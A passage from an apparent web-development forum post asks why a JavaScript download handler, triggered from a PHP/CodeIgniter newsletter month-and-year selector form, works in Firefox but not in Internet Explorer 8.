xmlhttp.open("GET",url,true);
xmlhttp.send(url);
alert(url);
}
The PHP code that triggers the above functions is as below PHP Code: <td> <select id="sel_month" name="sel_month" onchange="changepath();"> <?php $ctr = 1; foreach($arr_month as $month) { echo "<option value='".($ctr)."' ".($ctr++ == $curr_month ? "selected" : "")." >$month</option>"; } ?> </select> <select id="sel_year" name="sel_year" onchange="changepath();"> <?php for($ctr = $curr_year; $ctr >= $start_year; $ctr--) { echo "<option value='$ctr' ".($ctr == $curr_year ? "selected='selected'" : "").">$ctr</option>"; } ?> </select> <a id="anchor_nl2" href="<?php echo $this->config->item('base_url'); ?>index.php/download/newsletter2/<?php echo $curr_year; ?>/<?php echo $curr_month; ?>" onclick="download(this.href); "></a> <input type="button" id="btn_get" name="btn_get" value="Retrieve the Newsletter" onclick="checkfile_newsletter(); "> <input type="hidden" id="hdn_nl2_path" name="hdn_nl2_path" value="<?php echo $this->config->item('base_url'); ?>index.php/download/newsletter2/" /> <br/> <span id="spn_msg" class="display_msg"></span> I tried to debug it with alert but it goes to the checkfile_newsletter(); function but does not trigger the alert in download(this.href); when run on IE8 but in FF it works properly. Please help me to resolve this. Thanks |
|||||||